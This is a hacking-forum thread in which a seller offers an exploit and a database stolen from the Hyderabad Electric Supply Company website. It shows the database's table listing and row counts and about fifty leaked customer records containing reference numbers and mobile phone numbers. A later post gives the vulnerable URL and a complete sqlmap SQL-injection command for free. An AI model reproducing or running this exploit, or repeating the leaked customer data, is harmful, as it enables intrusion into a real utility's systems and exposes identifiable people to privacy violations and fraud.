SELLING hesco.gov.pk Hacked
by Mr_APT - March 06, 2021 at 02:41 PM
#1
Hyderabad Electric Supply Company

Price: 500$

Exploit + Bug + DB
hesco has over 178,000 customer information records

PoC:

Quote:Database: hesco
[33 tables]
+---------------------------+
| CONSUMER_REG              |
| DESIGNATIONS              |
| MENU                      |
| TBLADMIN                  |
| TBLAREA                  |
| TBLCITY                  |
| TBLEMPLOYEE              |
| TBLNEWSHEADING            |
| TBLNEWSSUBHEADING        |
| TBLNEWSTYPE              |
| TBLPERFORMANCEREPORT      |
| TBLPERFORMANCEREPORT_TYPE |
| TBLPWD                    |
| TBLSHUTDOWNSCHEDULE      |
| VW_NEWSMEDIA              |
| VW_PERFORMANCEREPORT      |
| VW_SHUTDOWNSCHEDULE      |
| YEARS                    |
| dtproperties              |
| mydata                    |
| phone_directory          |
| phone_directory_16112018  |
| qryNextAppNo              |
| qryVacent                |
| sqlmapoutput              |
| sysdiagrams              |
| tblBOD                    |
| tblEBillReg              |
| tblManagementTeam        |
| tblcompany                |
| tblsdcity                |
| vwApplicantSlip          |
| vw_CandidateDetail        |
+---------------------------+



Database: hesco
+-------------------------------+---------+
| Table                        | Entries |
+-------------------------------+---------+
| dbo.CONSUMER_REG              | 178148  |
| dbo.TBLSHUTDOWNSCHEDULE      | 3022    |
| dbo.TBLNEWSHEADING            | 1560    |
| dbo.TBLNEWSSUBHEADING        | 1557    |
| dbo.VW_NEWSMEDIA              | 1536    |
| dbo.phone_directory          | 382    |
| dbo.phone_directory_16112018  | 366    |
| dbo.TBLPERFORMANCEREPORT      | 297    |
| dbo.VW_PERFORMANCEREPORT      | 296    |
| dbo.DESIGNATIONS              | 109    |
| dbo.MENU                      | 59      |
| dbo.TBLAREA                  | 44      |
| dbo.YEARS                    | 42      |
| dbo.TBLPERFORMANCEREPORT_TYPE | 15      |
| dbo.TBLCITY                  | 12      |
| dbo.TBLNEWSTYPE              | 12      |
| dbo.TBLADMIN                  | 1      |
| dbo.tblcompany                | 1      |
| dbo.TBLPWD                    | 1      |
| dbo.tblsdcity                | 1      |
+-------------------------------+---------+


Data date: 2018 until now

PoC:

Quote:+-------+---------------------+-------+----------------+--------+----------+--------------+-------------+---------------+-----------------+
| ED_CD | ADDDT              | NAME1 | REF_NO        | TARIFF | BATCH_NO | MOBILE_NO    | FEEDER_CODE | EMAIL_ADDRESS | DFL_DISC_STATUS |
+-------+---------------------+-------+----------------+--------+----------+--------------+-------------+---------------+-----------------+
| 1    | Jan  8 2018  1:26PM |  | 01371110000200 | 01    | 01      | 923163131705 | 006312      |          |            |
| 1    | Jan  8 2018  1:26PM |  | 01371110000300 | 01    | 01      | 923002883321 | 006312      |          |            |
| 1    | Jan  8 2018  1:26PM |  | 01371110000301 | 01    | 01      | 923153105073 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110000400 | 04    | 01      | 923332511373 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110000500 | 04    | 01      | 923113398990 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110000700 | 04    | 01      | 923142311038 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110000800 | 04    | 01      | 923332606371 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110000900 | 04    | 01      | 923332619225 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110001000 | 04    | 01      | 923003070451 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110001100 | 04    | 01      | 923009372076 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110001200 | 04    | 01      | 923009372076 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110001300 | 04    | 01      | 923009372076 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110001400 | 04    | 01      | 923453588975 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110001800 | 01    | 01      | 923332511373 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110001900 | 01    | 01      | 923443534941 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110002000 | 01    | 01      | 923313677107 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110002100 | 01    | 01      | 923121225727 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110002200 | 01    | 01      | 923123973545 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110002400 | 01    | 01      | 923130325368 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110002401 | 01    | 01      | 923163092621 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110002500 | 01    | 01      | 923462002740 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110002700 | 01    | 01      | 923153127521 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110002800 | 01    | 01      | 923073167502 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110002900 | 01    | 01      | 923453557807 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110003000 | 01    | 01      | 923133849402 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110003100 | 04    | 01      | 923133849402 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110003200 | 01    | 01      | 923133849402 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110003300 | 01    | 01      | 923133849402 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110003400 | 04    | 01      | 923133849402 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110003500 | 01    | 01      | 923123089662 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110003600 | 04    | 01      | 923123089662 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110003700 | 01    | 01      | 923123089662 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110003800 | 01    | 01      | 923463192863 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110003900 | 01    | 01      | 923463192863 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110004000 | 01    | 01      | 923163245881 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110004100 | 01    | 01      | 923451357501 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110004200 | 01    | 01      | 923003042631 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110004300 | 04    | 01      | 923003042631 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110004400 | 04    | 01      | 923111369090 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110004500 | 01    | 01      | 923013149877 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110004600 | 01    | 01      | 923173022132 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110004700 | 01    | 01      | 923053308290 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110004710 | 01    | 01      | 923123166060 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110004800 | 01    | 01      | 923423501490 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110005100 | 01    | 01      | 923063577364 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110005110 | 01    | 01      | 923402454850 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110005200 | 01    | 01      | 923453561287 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110005300 | 01    | 01      | 923453561287 | 006312      |          |          |
| 1    | Jan  8 2018  1:26PM |  | 01371110005320 | 01    | 01      | 923453546031 | 006312      |          |          |
+-------+---------------------+-------+----------------+--------+----------+--------------+-------------+---------------+-----------------+

Middle Man Service Accept
#2
(March 06, 2021 at 04:23 PM)XakimeSultan Wrote: I can sell this for 300$

I have this already Smile)))

so No one was buying, I wanted to share for free

Bug SQL Injection

URL:  http://www.hesco.gov.pk/NewsMedia.asp?type=02

Tools: SQLMAP

Exploit : sqlmap.py -u http://www.hesco.gov.pk/NewsMedia.asp?type=02 --batch --threads 10 --tables --technique B --dbs -D hesco --count

Reputation Positive Do not forget Smile

 Users browsing this thread: 1 Guest(s)